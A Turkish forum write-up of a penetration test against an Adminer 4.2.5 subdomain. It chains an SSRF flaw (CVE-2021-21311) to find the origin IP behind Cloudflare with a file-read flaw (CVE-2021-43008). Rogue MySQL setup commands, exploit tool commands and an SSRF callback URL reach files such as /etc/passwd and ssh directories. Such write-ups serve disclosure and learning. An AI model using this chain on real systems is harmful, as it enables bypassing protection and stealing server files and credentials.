Hoşgeldin Misafir

SSRF ve CVE-2021-43008 Nedir ?

SurHan

28 Kas 2017
4,186 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
4.2.5 sürümüne sahip bir alt alan adı keşfedildi, bu da Adminer'in dosya okuma açığına karşı savunmasız olduğunu gösteriyor, ancak saldırı başarılı olmadı ve temelde Cloudflare bunun nedeni olabilir. Bununla birlikte, sürüm aynı zamanda bir SSRF açığına karşı savunmasızdır, bu sayede Cloudflare korumasını atlatmayı başardım ve CVE-2021-43008'in sömürülmesini tamamladım.

Analiz

Daha önce bir Harici PT etkinliği sırasında, keşif aşamasından sonra, Adminer'in savunmasız bir sürümünü barındıran bir alt alan adı bulmayı başardım ve bu sürüm, Sistem Dosyası Okuma açığına (CVE-2021-43008) karşı savunmasızdır.

Adminer Nedir?

Adminer (önceden phpMinAdmin olarak bilinir), PHP'de yazılmış tam özellikli bir veritabanı yönetim aracıdır. [phpMyAdmin]'in aksine, hedef sunucuya dağıtılmak üzere hazır bir tek dosyadan oluşur. Adminer, MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Elasticsearch, MongoDB ve diğerleri için eklenti aracılığıyla kullanılabilir.

Alt alan adı, dosya okuma açığına karşı savunmasız bir Adminer.php sürümünü (4.2.5) çalıştırıyor, bu da saldırganın, Adminer'in bir uzak MySQL veritabanına bağlanmasını isteyerek uzak sunucuda Belirli Dosya Okuma elde etmesine izin veriyor.





1f9a5d8fd7a42d9ad.png


MySQL Bağlantısı

Bu açığı sömürmek için, kullanılan açıktan dolayı aşağıdaki yapılandırmaya sahip uzak bir MySQL veritabanına bağlanılması gerekiyordu:

MariaDB [(none)] > CREATE DATABASE adminer;
MariaDB [(none)] > CREATE USER 'adminer_user'@'%' IDENTIFIED BY 'adminer_pass';
MariaDB [(none)] > GRANT ALL PRIVILEGES on adminer.* TO 'adminer_user'@'%' IDENTIFIED BY 'adminer_pass' WITH GRANT OPTION;
MariaDB [(none)] > FLUSH PRIVILEGES;

Yukarıdaki sorgu ile adminer adında bir veritabanı oluşturduk, adminer_user kullanıcı adıyla bir kullanıcı oluşturduk ve herhangi bir yerden bağlanma izni verdik, şifresini adminer_pass olarak belirledik ve ayrıca veritabanında tüm yetkileri verdik.

MariaDB [(none)] > use adminer;
MariaDB [(none)] > CREATE TABLE lfr_sink_table(data VARCHAR(255));
MariaDB [(none)] > quit

Not: Exploit kolaylığı nedeniyle tabloyu lft_sink_table olarak adlandırmak zorunda kaldık https://github.com/p0dalirius/CVE-2021-43008-AdminerRead

Açık aslında SQL komutunun LOAD Data modülünde yatmaktadır, bu modül aracılığıyla sistemdeki dahili dosyaları veritabanımıza yükleyebilir ve ardından okuyabiliriz.


1b4d8a21463447ce1.png


Sömürü

https://github.com/p0dalirius/CVE-2021-43008-AdminerRead adresini kullanarak:

Kod:
python3 AdminerRead.py -I mysql_IP -t hedef_URL/adminer.php -u adminer_user -p adminer_pass -f ./wordlists/all


1c762f8fd5d8fb75a.jpg




Ancak, alt alan adına IP üzerinden erişmeye çalıştığımızda verileri alamadık.
Alt alan adında CloudFlare Koruma özelliğinin etkin olduğu ve bize alt alan adı üzerinden doğrudan adminer paneline erişim izni vermediği ortaya çıktı.



14b116d5a9ef10332.jpg



SSRF (Sunucu Tarafı İstek Sahteciliği) Tanımlama ve Cloudflare Arkasındaki IP'nin Algılanması

Alt alan adı, SSRF'ye (Sunucu Tarafı İstek Sahteciliği) karşı da savunmasız olan Adminer.php'nin 4.2.5 sürümünü çalıştırıyor. Bu, saldırganın sunucu tarafı uygulamasını istenmeyen bir konuma istek yapmaya zorlayan bir web güvenlik açığıdır.

CVE-2021-21311 hakkında, Acunetix'e göre, Tüm sürücüleri içeren Adminer sürümlerinin kullanıcıları (örneğin adminer.php) Elasticsearch giriş modülünü etkileyen bir Sunucu Tarafı İstek Sahteciliği (SSRF) açığına savunmasızdır.

Savunmasız URL: https://subdomain.domain.com/admine...xxxxxxxxx.oast.fun&username=xxxxxz&db=xxxxxxx


19ccf9f59b841a522.jpg


SSRF'nin bir parçası olarak Uygulamadan Gelen İstek

Daha önce yaptığımız incelemede, alt alan adının Cloudflare tarafından korunduğunu gördük ve alt alan adını pinglediğimizde, IP adresini 1xx.xx.xx.xxx olarak aldık. Ayrıca, doğrudan IP erişimi de Cloudflare tarafından yasaklanmıştı.

1d19e2a32e6500115.jpg




Ancak, SSRF aracılığıyla Cloudflare Güvenlik Duvarı'nın arkasında barındırılan alt alan adının Genel IP'sini elde edebildik ve ayrıca Doğrudan IP Erişimi ile adminer paneline erişim sağlayabildik.


171fac294bb6db708.jpg


Saldırganlar artık Cloudflare arkasında barındırılan uygulamalara saldırabilirler, çünkü herhangi bir saldırgan artık Adminer'e karşı Cloudflare tarafından kurulan korumaları atlayabilecek.

Cloudflare'yi Atlatıldıktan Sonra Adminer Okuma Güvenlik Açığı Sömürülüyor

Kod:
python3 AdminerRead.py -I mysql_IP -t hedef_IP/adminer.php -u adminer_user -p adminer_pass -f ./wordlists/all

Şimdi /etc/passwd dosyası ve dahili günlük dosyaları, ssh dizini vb. dahil olmak üzere birkaç dahili dosyaya erişim elde edebildik.

1ddf380289126172c.jpg





1420472b84947f4c6.jpg


Yamalama

Adminer php Veritabanını en son sürümü olan 4.8.1'e yükseltin.